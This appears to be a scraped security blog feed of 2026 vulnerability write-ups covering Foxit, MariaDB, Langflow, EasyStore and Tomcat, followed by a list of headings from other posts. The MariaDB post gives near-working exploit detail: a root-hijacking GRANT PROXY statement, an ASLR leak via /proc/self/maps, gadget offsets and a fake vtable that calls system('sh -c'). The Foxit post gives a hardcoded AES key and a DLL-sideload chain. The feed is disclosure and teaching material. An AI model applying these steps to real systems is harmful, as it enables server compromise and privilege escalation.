   → AES-128-CBC encrypt (key: "c6c7702dbcbf4678", IV: 0x00 * 16)
   → hex-encode ciphertext
   → UTF-16 encode the hex string
   → write to FoxitData.txt

3. Service-Side Processing Flow

Reversing FoxitPDFReaderUpdateService.exe shows roughly this sequence after it reads FoxitData.txt:

Extract sessionid from the decrypted command.
Walk the process list to find the winlogon.exe belonging to that session.
Open that process and duplicate its token (DuplicateTokenEx).
Build an environment block from that token with bInheritHandles = TRUE, apparently to reconstruct the target session's desktop/environment context.
Launch the executable named in strTempUpdaterPath in the SYSTEM security context via the CreateProcess family, passing csCommandLine verbatim.

Right before launch, two checks run:

A filename check confirming the target matches an expected name (e.g. FoxitPDFReaderUpdater.exe)
A certificate check confirming the binary carries a valid Foxit code-signing signature

So pointing strTempUpdaterPath at cmd.exe or an arbitrary binary fails the signature check. But if the attacker simply supplies the real, legitimately signed Foxit updater binary, that check becomes meaningless — it only verifies "did Foxit build this file," not "is everything this file loads also safe." That gap is exactly where the sideload comes in.

4. DLL/DRV Sideloading in a Privileged Context

Watching FoxitPDFReaderUpdater.exe in Procmon shows a burst of CreateFile calls against several DLLs in the current working directory (the attacker-controlled %APPDATA%\...\Foxit PDF Reader\ folder), most returning PATH NOT FOUND. Most of these carry anti-sideload checks — except one:

winspool.drv — referenced before every other library, and despite the .drv extension it's a regular PE that runs DllMain on load like any DLL.
oleaccrc.dll, by contrast, is a resource-only DLL loaded with LOAD_LIBRARY_AS_DATAFILE, so it can't execute code even if sideloaded.

Drop a malicious winspool.drv in the attacker-writable path, and FoxitPDFReaderUpdater.exe — now running as SYSTEM courtesy of the forged IPC command — loads it directly, completing arbitrary code execution as SYSTEM.

Interestingly, Foxit happened to close this exact entry point days after it was found, as part of an unrelated patch for two other bugs (CVE-2026-3775/CVE-2026-3780). But the same DLL-search-order flaw resurfaced through a second trigger: clicking a hyperlink inside the updater's "check for update" dialog reopened the identical sideload primitive. The entry point moved; the root cause — a signed SYSTEM process resolving DLLs from a user-writable directory first — did not.

5. Full Attack Chain

[low-privileged user process]
      │  ① Drop malicious winspool.drv in %APPDATA%\...\Foxit PDF Reader\
      │  ② Assemble IPC command (session id, updater path, arguments)
      │  ③ UTF-16LE encode → 0x00 pad → AES-128-CBC encrypt (hardcoded key, null IV)
      │  ④ Ciphertext → hex → UTF-16, written to FoxitData.txt
      ▼
[C:\ProgramData\Foxit Software\Foxit PDF Reader\FoxitData.txt]  (writable by Users)
      │  ⑤ FoxitPDFReaderUpdateService.exe (SYSTEM) detects the file change
      ▼
[FoxitPDFReaderUpdateService.exe : NT AUTHORITY\SYSTEM]
      │  ⑥ Decrypt with hardcoded key, match sessionid to winlogon.exe, duplicate token
      │  ⑦ Filename + signature checks pass (it's a genuine Foxit binary)
      │  ⑧ CreateProcess: launches %APPDATA%\...\FoxitPDFReaderUpdater.exe as SYSTEM
      ▼
[FoxitPDFReaderUpdater.exe : NT AUTHORITY\SYSTEM]
      │  ⑨ Resolves winspool.drv from its own directory per DLL search order
      ▼
[Attacker's winspool.drv DllMain executes] → arbitrary code execution as SYSTEM

Here's the same flow as a diagram:

And the AES-128-CBC message construction on its own:

6. Root Causes

Three separate design mistakes had to overlap for this to work:

Broken trust boundary: a SYSTEM service treated a file writable by the Users group as trusted IPC input. Filesystem ACLs should have defined the trust boundary here, and they didn't.
Encryption mistaken for authentication: AES-128-CBC provides confidentiality, not integrity or authenticity — and since the key ships inside every client install, it was never actually secret to begin with. What this channel needed was a signature or HMAC the service alone could verify, not encryption.
Misplaced scope of code-signing checks: verifying that the launched executable itself is Authenticode-signed says nothing about every module that executable subsequently loads. Without controlling DLL search order, even a signed binary can become a privileged code-execution primitive.

7. Patch

Foxit shipped a coordinated fix on July 8, 2026 covering 30+ vulnerabilities across Reader and Editor for Windows and macOS. CVE-2026-57239 is fixed in the 2026.1.2 build (2026.x line), plus 14.0.5 and 13.2.5 for the supported 14.x/13.2 branches. Update via Help > Check for Update, or download a fresh installer from Foxit's official distribution channel and verify the reported version afterward.

MariaDB 13.0.1-rc RCE: Priv-Esc + Heap UAF + JOP Chain to system()

GUIDANCE WHITE — Fri, 14 Aug 2026 04:46:25 +0000

On the unmodified, stock MariaDB 13.0.1-rc Docker image, a chain of five steps gets an attacker from a low-privilege SQL account all the way to command execution as uid 999 (mysql). No host access, no docker commands, no direct /proc/<pid>/mem writes — every step is a plain SQL statement. Found with RAPTOR and raptor-loop-hunt (an autonomous offensive research framework and its iterative hunt plugin).

The chain:

GRANT PROXY privilege escalation (F-09) — any account → full DBA
ASLR defeat via /proc/self/maps leak
SYS_REFCURSOR use-after-free (F-05, unfixed upstream 0day)
Heap spray + JOP (Jump-Oriented Programming) chain
A "pure SQL" trick for resolving a self-referential address, using glibc's mmap slot reuse

1. F-09 — Privilege Escalation: Hijacking root via `GRANT PROXY`

GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA '' ;

One statement, and any authenticated user becomes a full DBA. The root cause sits in the authentication-clause validation path.

When the authentication clause is empty, as in IDENTIFIED VIA '', LEX_USER::has_auth() returns false.
A false from has_auth() skips the privilege-check routine check_alter_user().
But downstream, replace_user_table() still applies that empty auth clause — overwriting root's credentials with an empty password.

The gap is between "no auth info supplied → nothing to validate" and "no auth info supplied → apply it anyway, even if empty." No special privileges are required, and this reproduces on every released MariaDB version. The fix (dbd60d0ad8d, MDEV-40470) exists on dev branches but has not been backported to any release — verified from 13.0.1 through 10.6.27.

2. ASLR Defeat: Reading `/proc/self/maps` Through SQL

LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...

On the stock image, secure_file_priv is unset (NULL). Combined with FILE privilege, LOAD DATA INFILE can read arbitrary files as the server process — including /proc/self/maps, which hands back the mariadbd process's own memory layout as SQL output. This directly leaks the PIE base and libc base. No separate info-leak bug is required; it's purely the combination of an unset config default and a built-in SQL file-read primitive. The addresses change on every run, but since they're read live from the running process each time, that's a non-issue for the exploit.

3. F-05 — SYS_REFCURSOR Use-After-Free (Unfixed 0day)

The vulnerable function is sp_cursor_array::get_cursor_by_ref().

Materialized_cursor::open() -> result->prepare()
  -> mov rax, [result]       ; rax = attacker's vtable pointer (V)
  -> call [rax + 0x20]       ; calls the D2 gadget (prepare()'s vtable slot)

This function returns an interior pointer into a Dynamic_array backing the cursor array. The array is managed via my_realloc, and that's where the bug lives:

Attacker-controlled SQL running inside a cursor's open() method opens additional cursors.
The cursor array has to grow, my_realloc allocates new storage, and the old backing storage is freed.
The caller's already-cached pointer into the old storage is never updated — it's now dangling.

The freed chunk is exactly 16 cursors x 112 bytes = 1792 bytes. A heap spray of 128 user-variable copies, each sized at an exact-fit 1784 bytes, reclaims that chunk. The spray payload plants an attacker-controlled vtable pointer at offset 0x20 — the location of sp_cursor's result member — and the next virtual dispatch through that member hijacks control flow.

As of 2026-08-03, this bug is still unfixed upstream: zero commits to sql/sp_cursor.{cc,h} between the 13.0.1 tag and HEAD.

4. The JOP Chain: system() Without ROP or a Stack Pivot

Two gadgets from the stock mariadbd binary are enough to reach system().

Gadget	Offset	Instruction	Purpose
D2	PIE+0x80da77	`call *0x100(%rax)`	Stack alignment fix
D1	PIE+0xe3075b	`mov rdi,[rax+0xa8]; call [rax+0xa0]`	Load command pointer, call system()

The fake vtable V lives inside the 128 MiB buffer built earlier, laid out as:

V+0x20  = D2          (prepare()'s vtable slot)
V+0xa0  = system()    (libc+0x5c560)
V+0xa8  = V+0x140     (pointer to the command string -> loaded into rdi)
V+0x100 = D1          (JOP dispatcher)
V+0x140 = "sh -c '<cmd>'\0"

This is a classic JOP chain: control flow moves purely through chained virtual-function calls, never touching the stack, so stack canaries and return-address protections are simply irrelevant here.

5. Resolving a Self-Referential Address Using Only SQL

There's a chicken-and-egg problem baked into the layout above: V+0xa8 needs to hold the address of the buffer itself (V+0x140), but that address isn't known until the buffer is allocated. This is solved with a quirk of glibc's mmap behavior.

-- Step 1: allocate a 128 MiB marker buffer
SET @fake = REPEAT(CHAR(0xDE), 134217728);
-- glibc hands out a dedicated mmap region (e.g. 0x8001000, data at +0x30)
-- the address is found by diffing /proc/self/maps before and after

-- Step 2: re-allocate with the full JOP layout, self-reference included
SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...));
-- glibc munmaps the old chunk and reuses the exact same slot,
-- so the address discovered in step 1 stays valid

In order:

Allocate a 128 MiB marker buffer → glibc grants a dedicated mmap region → its address is recovered via a /proc/self/maps diff.
Re-allocate the same variable with the complete layout → glibc reuses the same mmap slot → the self-reference baked in during step 1 remains valid.
Each step re-reads /proc/self/maps to verify; if the address ever moved, the self-reference is re-baked and the write retried (converges in one iteration in practice).

The choice of 128 MiB is deliberate: glibc's dynamic mmap threshold can grow past 4 MiB after large frees, and 128 MiB reliably lands a dedicated mmap region regardless (128 MiB and 256 MiB were both verified). One catch — a buffer larger than max_allowed_packet simply fails, so SET GLOBAL max_allowed_packet has to be raised first, with a fresh connection afterward. The +0x30 data offset within the mmap region is also glibc/image-specific and is exposed as a DATA_OFF constant in the code for that reason.

Full Attack Flow

1. GRANT PROXY ...                     -> root account hijacked (F-09)
2. LOAD DATA INFILE '/proc/self/maps'  -> PIE/libc base recovered (ASLR defeat)
3. SET @fake = REPEAT(...)  128MiB     -> mmap slot secured, address found via diff
4. SET @fake = CONCAT(... UNHEX(...))  -> self-referential JOP layout written
5. CALL uaf5                           -> SYS_REFCURSOR UAF triggered (F-05)
                                        -> heap spray reclaims the freed chunk
                                        -> result->prepare() virtual call
                                        -> D2 -> D1 -> system("sh -c '<cmd>'")
6. mariadbd is PID 1 -> container exits right after system() returns
                                        -> restart, read the marker file as proof

All that's required to run this is a MariaDB account with USAGE-only privileges and TCP reachability to port 3306 — no host shell, no docker commands, no /proc/<pid>/mem access, and no root password. (The repo also keeps a legacy host-assisted PoC, exploit.py, which writes the JOP chain via /proc/<pid>/mem from the Docker host — it's explicitly noted as superseded by the pure-SQL variant.)

What Makes This Chain Interesting

F-09 is a pure logic bug in the auth-clause validation path, not a memory-safety issue, yet by itself it's a complete DBA takeover.
The ASLR defeat needs no separate info-leak vulnerability — an unset secure_file_priv plus LOAD DATA INFILE is enough to pull /proc/self/maps straight out through SQL.
The UAF trigger is a reentrancy pattern that only exists at the SQL layer: SQL executed from inside a cursor callback grows the very cursor array the callback is iterating over.
From heap grooming to resolving a self-referential pointer, SQL statements themselves are the exploitation primitive — no /proc/<pid>/mem writes, no host-side tooling, and a correspondingly much smaller detection surface than the traditional approach.

CVE-2026-33017: Langflow Unauthenticated Remote Code Execution

GUIDANCE WHITE — Wed, 12 Aug 2026 06:01:33 +0000

1. CVE-2026-33017

A vulnerability in Langflow allows unauthenticated remote code execution (RCE).

It stems from a feature that lets users run a shared flow without logging in. The endpoint accepts attacker-supplied flow data without validation and executes the code contained within it — meaning an attacker can execute arbitrary code on the server with no authentication at all.

Langflow is an open-source tool for visually building AI workflows by connecting blocks such as chat input, model calls, document retrieval, API requests, and output display.

This vulnerability affects Langflow deployments that expose flows publicly. Running a public flow requires no authentication, so an attacker only needs the target flow's identifier to execute arbitrary code on the server — potentially leading to full system compromise.

Item	Details
CVE ID	CVE-2026-33017
Affected Product	Langflow (open-source AI workflow/agent builder, 140k+ GitHub stars)
Vulnerability Type	CWE-306 (Missing Authentication for Critical Function) + CWE-94 (Code Injection)
CVSS	9.8 (Critical) under v3.1; GitHub's own v4 score is 9.3
Impact	Unauthenticated arbitrary Python code execution (full system compromise)
Affected Versions	All versions prior to 1.9.0
Patched Version	1.9.0

2. The Vulnerable Feature: "Public Flow"

Langflow has a public flow feature that lets others run a workflow without logging in — designed for exposing demos or chatbots externally. By itself, this is a legitimate design.

The endpoint behind it:

POST /api/v1/build_public_tmp/{flow_id}/flow

This endpoint is intentionally unauthenticated. The problem is that the request also accepted an optional data parameter.

3. The Real Problem: Untrusted Input on a Trusted Path

Correctly, running a public flow should only load and execute the flow definition stored in the database. A caller should be able to say "run this flow," but not dictate the flow's actual contents.

Instead, when a data parameter was present in the request, the endpoint used the value from the request body instead of the value from the database. A request meaning "run this flow_id" could effectively become "run this flow_id, but replace what actually executes with the data I'm sending now."

Langflow's flow data is organized into nodes (components), and each node can embed a Python code snippet via the custom component feature. This let an attacker smuggle a node containing arbitrary Python code inside the data parameter.

4. Tracing the Code Path

build_public_tmp() — the endpoint handler; no auth check, accepts data as-is.
create_graph() — should enforce "public flows are read from the DB only," but if data is present, it builds the graph from attacker-supplied data instead.
eval_custom_component_code() — extracts and evaluates each node's Python code, treating the attacker's injected snippet as legitimate node code.
prepare_global_scope() → exec() — the extracted code is passed directly to exec(). No sandboxing, no input validation, no whitelist. Code entering exec() runs with the same privileges as the server process.

The core issue isn't a single buggy function — it's a broken trust boundary. build_public_tmp → create_graph was supposed to assume "this request is unauthenticated, so trust the DB value only," and the data parameter broke that assumption. eval_custom_component_code and exec() were designed to process already-trusted flow data, so neither had independent validation logic.

Accordingly, the GitHub security advisory's fix didn't try to sandbox exec() — it removed the data parameter from the endpoint entirely and forced public flows through the build_graph_from_db() path only. The fix prevents dangerous code from ever entering the execution path, rather than trying to block it once it's already there.

5. Attack Requirements

At least one public flow must exist on the target instance (common for demo/chatbot deployments)
Or, if the default AUTO_LOGIN=true is enabled, an attacker could create a public flow directly via the unauthenticated auto-login path
The public flow's UUID (typically exposed in the shared link, easy to obtain)
No credentials required

6. Mitigation

Upgrade to Langflow 1.9.0+ — the only verified fix. (Some reports claimed an intermediate 1.8.x patch, but reproductions showed it remained exploitable.)
If immediate upgrade isn't feasible:
- Disable the public flow feature, or avoid it unless necessary
- Review the AUTO_LOGIN default and disable it if not required
- Don't expose the Langflow API directly to the internet — put it behind an authenticating proxy or firewall
- Add a WAF/proxy rule to detect and block requests to build_public_tmp that include a data parameter

EasyStore (Joomla) filter_sortby Pre-Authentication SQL Injection (CVE-2026-65761)

GUIDANCE WHITE — Tue, 11 Aug 2026 05:41:49 +0000

1. Overview of CVE-2026-65761

EasyStore is an e-commerce extension component for Joomla, distributed by developer JoomShaper. The product listing page accepts a request parameter called filter_sortby so users can choose a sort order. This value is split into a column name and a sort direction (ASC/DESC), and the direction value was inserted directly into the ORDER BY clause of the SQL query with no validation whatsoever.

Security firm mySites.guru discovered the issue and privately disclosed it to JoomShaper on July 22, 2026. The company bundled three vulnerabilities together — SQL Injection, unauthenticated order forgery, and cross-customer invoice disclosure — and silently patched them in version 2.0.2. No separate security advisory was published.

Target: JoomShaper EasyStore (Joomla extension)
Affected versions: 1.0.0 – 2.0.1
Patched version: EasyStore 2.0.2
CWE: CWE-89 (SQL Injection)
CVSS 4.0: 9.3 (Critical)

2. Why the Sort Direction Is Dangerous

The basic rule of SQL Injection defense is: "never trust user input — always escape it or use parameter binding (prepared statements)." However, an ORDER BY ... ASC / ORDER BY ... DESC style sort direction is one of the few places where this principle cannot be applied directly.

Why can't it be bound? Parameter binding (the ? placeholder) is a mechanism for safely passing a value. But ASC/DESC isn't a value — it's a keyword (reserved word) in SQL syntax. Even if you place it in a bound parameter slot, the database won't interpret it as syntax. That's why developers must hard-code a whitelist check directly into the application: "accept only ASC or DESC, reject everything else."

EasyStore is exactly where this whitelist validation was missing. Interestingly, the sorting features for the Brand list and Collection list within the same component did have this validation implemented correctly — the check was missing only from the Product list sorting path. In other words, this wasn't a case of the developers "not knowing" the risk; it's a classic implementation-omission bug where the same logic was reimplemented in multiple places and one location was simply missed.

3. The Vulnerable Flow, in Code

The code below is a reconstructed example based on the behavior (file names, line numbers, and processing logic) described in the public vulnerability report. It is not identical to the actual source, but it's sufficient to understand the structure of the vulnerability.

① FilterHelper.php:741 — returns the direction value as-is, with no validation

// Conceptual reconstruction
public function getSortDirection($request)
{
    $direction = $request->getString('filter_sortby_direction', 'ASC');
    return $direction; // returned without any whitelist check
}

The defense that should have been in place looked something like this. Reconstructing, as an example, the logic that appears to actually exist in the Brand/Collection list helper:

// What correct validation looks like (Brand/Collection helper)
public function getSortDirection($request)
{
    $direction = strtoupper($request->getString('filter_sortby_direction', 'ASC'));
    return in_array($direction, ['ASC', 'DESC'], true) ? $direction : 'ASC';
}

② ProductsModel.php:923 — the unvalidated value is concatenated directly into the query string

// Conceptual reconstruction
$sortColumn    = $db->quoteName($this->getState('filter.sort_column'));
$sortDirection = $this->getSortDirection($request); // unvalidated

$query->order($sortColumn . ' ' . $sortDirection); // direct string concatenation

Why doesn't quoteName() help here?
Joomla's $db->quoteName() and $db->quote() are the standard defense tools for safely escaping identifiers (column/table names) and values, respectively. But the $sortDirection in this vulnerability is neither an identifier nor a value — it's part of SQL syntax (a keyword). quoteName('column') only wraps a column name in backticks, and wrapping the direction value with quote('value') would turn it into ORDER BY col 'DESC', which is a syntax error. So the direction value can only be defended with a whitelist, not escaping — and it's precisely that whitelist that was missing.

③ The vulnerable query, assembled conceptually

The actual exploit payload is not disclosed, but combining the two code paths above produces a final executed query with roughly this shape:

SELECT * FROM #__easystore_products
ORDER BY price {ATTACKER-CONTROLLED SQL EXPRESSION}

In the one slot where only the two words ASC or DESC should ever be allowed, an attacker-controlled arbitrary SQL expression can be inserted directly. To demonstrate the issue without extracting real data, mySites.guru said it confirmed successful injection using a time-based technique — deliberately delaying the database response under specific conditions. A response delayed by several seconds compared to a normal request serves as evidence that the injected statement executed.

4. Attack Flow

A request reaches the product listing endpoint with a crafted filter_sortby parameter.
The direction segment is extracted without validation.
The value is concatenated directly into the ORDER BY clause.
The database executes attacker-controlled SQL as part of the sort expression.
Success/failure is inferred via a time-based side channel (response delay), without needing to read result data directly.

5. Remediation

Update immediately: If you're running EasyStore, upgrade to 2.0.2 or later. Because it was patched silently with no separate security notice, it's easy to overlook by only skimming the changelog.
Review WAF rules: Confirm that SQL-keyword-based filtering rules (UNION, SLEEP, information_schema, etc.) are also applied to filter_sortby-style parameters.
Least-privilege DB accounts: Verify the DB account used by the web application doesn't have unnecessary permissions to query information_schema or superuser-level access.
Review logs: Check recent access logs for requests where the filter_sortby parameter contained anything other than ASC/DESC — quotes, parentheses, or SQL keywords.

CVE-2026-34486 Analysis — Apache Tomcat EncryptInterceptor Bypass

GUIDANCE WHITE — Sat, 08 Aug 2026 07:24:02 +0000

CVSS 3.1: 7.5 (High) · CWE: CWE-311 / CWE-807 · Disclosed: 2026-04-09
Type: Missing Encryption / Protection Mechanism Bypass

Summary at a Glance
Background: Relation to CVE-2026-29146
Root Cause Analysis (Source Code)
Attack Flow
Impact & Severity
Affected Versions
Mitigation
Conclusion

Summary at a Glance

CVE-2026-34486 is a vulnerability in Apache Tomcat's cluster communication protection component, EncryptInterceptor, which can be fully bypassed under certain conditions. This component is normally responsible for encrypting messages exchanged between Tomcat cluster nodes to preserve confidentiality. However, an incomplete fix for a prior vulnerability (CVE-2026-29146, a padding oracle) misplaced the "what happens when decryption fails" control flow, introducing a regression where plaintext (or otherwise unverified) messages pass through even when encryption is configured.

⚠️ Why it matters
This goes beyond simple information exposure. Because Tomcat's clustering layer, Apache Tribes, deserializes incoming messages, disabling the encryption check means attacker-controlled bytes can reach the deserialization stage without validation. Combined with a known gadget chain, this could escalate to unauthenticated remote code execution (RCE) — a real-world risk that arguably exceeds what the raw CVSS score suggests.

Background: Relation to CVE-2026-29146

CVE-2026-29146 was a padding oracle vulnerability in the decryption logic of EncryptInterceptor. An attacker could observe decryption failure signals (error responses, timing differences, etc.) to gradually decrypt ciphertext — a classic side-channel issue.

To fix this, the Tomcat team modified the code so that decryption exceptions were caught, preventing the oracle signal from leaking externally. In doing so, however, the accompanying control-flow logic — "if decryption failed, processing of this message must stop here" — was dropped. The exception was caught and logged, but execution was allowed to continue to the next processing stage anyway. This is a textbook case of a patch for one vulnerability introducing a more severe bypass.

Figure 1. How the CVE-2026-29146 patch led to the CVE-2026-34486 regression

Root Cause Analysis (Source Code)

The core issue lives in the messageReceived() method of org.apache.catalina.tribes.group.interceptors.EncryptInterceptor. Below is a simplified illustration of the flawed structure.

Vulnerable version (after the CVE-2026-29146 patch)

// ⚠️ VULNERABLE
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);
        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);
    } catch (GeneralSecurityException gse) {
        log.error("Unable to decrypt cluster message", gse);
        // exception caught and logged, but no further action taken
    }
    super.messageReceived(msg);  // ← called unconditionally, outside the try-catch
}

The key problem is that super.messageReceived(msg) sits outside the try-catch block. That means:

If decryption succeeds → xbb is replaced with the decrypted plaintext and passed to the next interceptor (intended behavior)
If decryption fails → the exception is caught and xbb is never replaced, but the original message bytes (which may be unencrypted) are still forwarded, unmodified, to super.messageReceived(msg)

🔴 In practice, this means sending an unencrypted message causes decrypt() to throw, that exception is silently logged, and the message is still passed on to the next processing stage — including deserialization — with no validation. EncryptInterceptor effectively becomes a no-op.

Fixed version (conceptual structure after the patch)

// ✅ FIXED
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);
        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);
    } catch (GeneralSecurityException gse) {
        log.error("Unable to decrypt cluster message, dropping message", gse);
        return;  // stop processing immediately on decryption failure
    }
    super.messageReceived(msg);  // only reached if decryption succeeded
}

The fixed version adds an explicit return on decryption failure, ensuring unvalidated messages never propagate further. It's a classic reminder for code review: catching an exception is not the same as handling it safely.

Attack Flow

This flaw becomes a real threat because Tomcat's clustering framework, Apache Tribes, deserializes incoming messages into objects. Once EncryptInterceptor is bypassed, a path opens for attacker-controlled bytes to reach that deserialization stage unchecked.

Figure 2. Attack chain from EncryptInterceptor bypass to potential RCE (conceptual)

ℹ️ This write-up covers only the structural root cause and conceptual attack flow. Actual gadget chain payloads or exploit reproduction steps are intentionally omitted — even for a patched CVE, weaponized reproduction steps are not something to publish. For environment testing, follow official vendor guidance and your organization's internal security procedures.

Impact & Severity

Metric	Value
Attack Vector (AV)	Network — remotely exploitable if the cluster port is reachable
Attack Complexity (AC)	Low
Privileges Required (PR)	None — no authentication required
User Interaction (UI)	None
Confidentiality Impact	High — cluster messages exposed in plaintext, with potential escalation to RCE
CVSS 3.1	7.5 (High) / `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`

The official CVSS vector only scores confidentiality (C) impact as High. But given the real-world context that cluster messages get deserialized, there's a realistic path to chained integrity and availability impact. Prioritizing purely by the raw CVSS score risks underrating this issue.

Affected Versions

Product	Affected Version	Fixed Version
Apache Tomcat 9.x	9.0.116	9.0.117
Apache Tomcat 10.1.x	10.1.53	10.1.54
Apache Tomcat 11.0.x	11.0.20	11.0.21

This vulnerability is only meaningful in clustered deployments (i.e., a <Cluster> configuration with EncryptInterceptor applied). Single-instance deployments without clustering are not affected.

Mitigation

Patch immediately — upgrade to 9.0.117 / 10.1.54 / 11.0.21 or later.
Network-level defense — until patched, restrict the cluster port (default 4000) to trusted nodes only, and consider adding network-level encryption such as IPsec or a VPN tunnel.
Verify cluster encryption post-patch — independently confirm that inter-node communication is actually encrypted after upgrading.
Monitor for anomalous traffic — add detection rules for unusual scanning or connection attempts against the cluster port.
End-of-life versions — if running an unsupported legacy version, evaluate commercial extended support options (e.g., HeroDevs NES).

Conclusion

CVE-2026-34486 is a textbook example of a security patch introducing a new vulnerability. In fixing a padding-oracle side-channel by catching an exception, the accompanying control-flow question — "should processing continue after this failure?" — was overlooked, effectively neutralizing the encryption component it was meant to protect.

DEV Community: GUIDANCE WHITE

CVE-2026-24031 Analysis — Dovecot SQL-Based Authentication Bypass (an auth_username_chars Regression)

1. Overview

2. Background — what auth_username_chars actually does

3. How the SQL query gets built — passdb-sql.c

4. The real root cause — an escape_func override bug in settings.c

5. Full attack chain

6. The actual fix (v2.4.3)

7. Detection and mitigation

CVE-2026-56705: Pre-Auth RCE in Adminer's MSSQL Driver

Overview

Where the bug lives

Why a single semicolon is enough

The full payload, from attach() to PDO

Why this is severe (the technical factors)

A related case: bypassing the SQLite blocklist

The common root cause

CVE-2026-18963: Breaking Down Keycloak's reset-credentials Auth Bypass

What was possible

A quick primer on Keycloak's Authenticator model

Step 1 — Pin the target account

Step 2 — The legitimate path stalls here

Step 3 — Tamper with the screen state to reroute past authenticate()

Step 4 — The actual hole: ResetCredentialEmail.action()

Step 5 — Account takeover

What the patch actually changed

Affected versions

CVE-2026-2005: Heap Buffer Overflow in PostgreSQL pgcrypto's pgp_pub_decrypt_bytea() (RCE)

Where the bug lives

Why the heap layout makes this so exploitable

The three-stage exploit chain

Inside the public PoC (poc.py)

The fix

CVE-2026-52715: Unauthenticated SQL Injection in GEO my WP via Map Boundary Search

Tracing the call chain

1. Entry point: the raw query string

2. parse_str() with no whitelist

3. Passed straight into the search query args

4. The sink: string concatenation into SQL

What exploitation looks like

The fix in 4.5.5.1

Validation function

Rejected right at the entry point

The SQL builder now uses $wpdb->prepare()

Attack chain

Takeaways from the code itself

CVE-2026-66066 (KindaRails2Shell): Arbitrary File Read to RCE in Rails Active Storage via libvips

Overview

1. Direct Upload stores an attacker-controlled content_type

2. The variation_key isn't bound to a specific blob

3. The Vips pipeline leaves decoder selection to libvips

4. libvips vs. libmatio: two different opinions on the same header

5. HDF5 External Storage as an arbitrary-file-read primitive

You don't need a variant request to trigger this

6. Why the patch actually works

7. From file read to RCE: abusing send

8. Full attack chain

9. Remediation

CVE-2026-40901: DataEase Root RCE via Unfiltered Quartz Deserialization

1. Overview

2. Why Quartz Becomes the Attack Surface

3. The Deserialization Call Path

4. What Gets Planted — the InvokerTransformer Gadget Chain

5. Full Attack Flow

6. The Fix (v2.10.21)

7. What to Check on Your Own Instance

SYSTEM Privilege Escalation via Forged IPC in Foxit PDF Reader's Update Service (CVE-2026-57239)

Overview

1. The Target: FoxitPDFReaderUpdateService.exe

2. IPC Message Format: AES-128-CBC With a Hardcoded Key

3. Service-Side Processing Flow

4. DLL/DRV Sideloading in a Privileged Context

5. Full Attack Chain

6. Root Causes

7. Patch

MariaDB 13.0.1-rc RCE: Priv-Esc + Heap UAF + JOP Chain to system()

1. F-09 — Privilege Escalation: Hijacking root via GRANT PROXY

2. ASLR Defeat: Reading /proc/self/maps Through SQL

3. F-05 — SYS_REFCURSOR Use-After-Free (Unfixed 0day)

4. The JOP Chain: system() Without ROP or a Stack Pivot

Step 3 — Tamper with the screen state to reroute past `authenticate()`

Step 4 — The actual hole: `ResetCredentialEmail.action()`

Inside the public PoC (`poc.py`)

2. `parse_str()` with no whitelist

The SQL builder now uses `$wpdb->prepare()`

1. Direct Upload stores an attacker-controlled `content_type`

2. The `variation_key` isn't bound to a specific blob

7. From file read to RCE: abusing `send`

1. F-09 — Privilege Escalation: Hijacking root via `GRANT PROXY`

2. ASLR Defeat: Reading `/proc/self/maps` Through SQL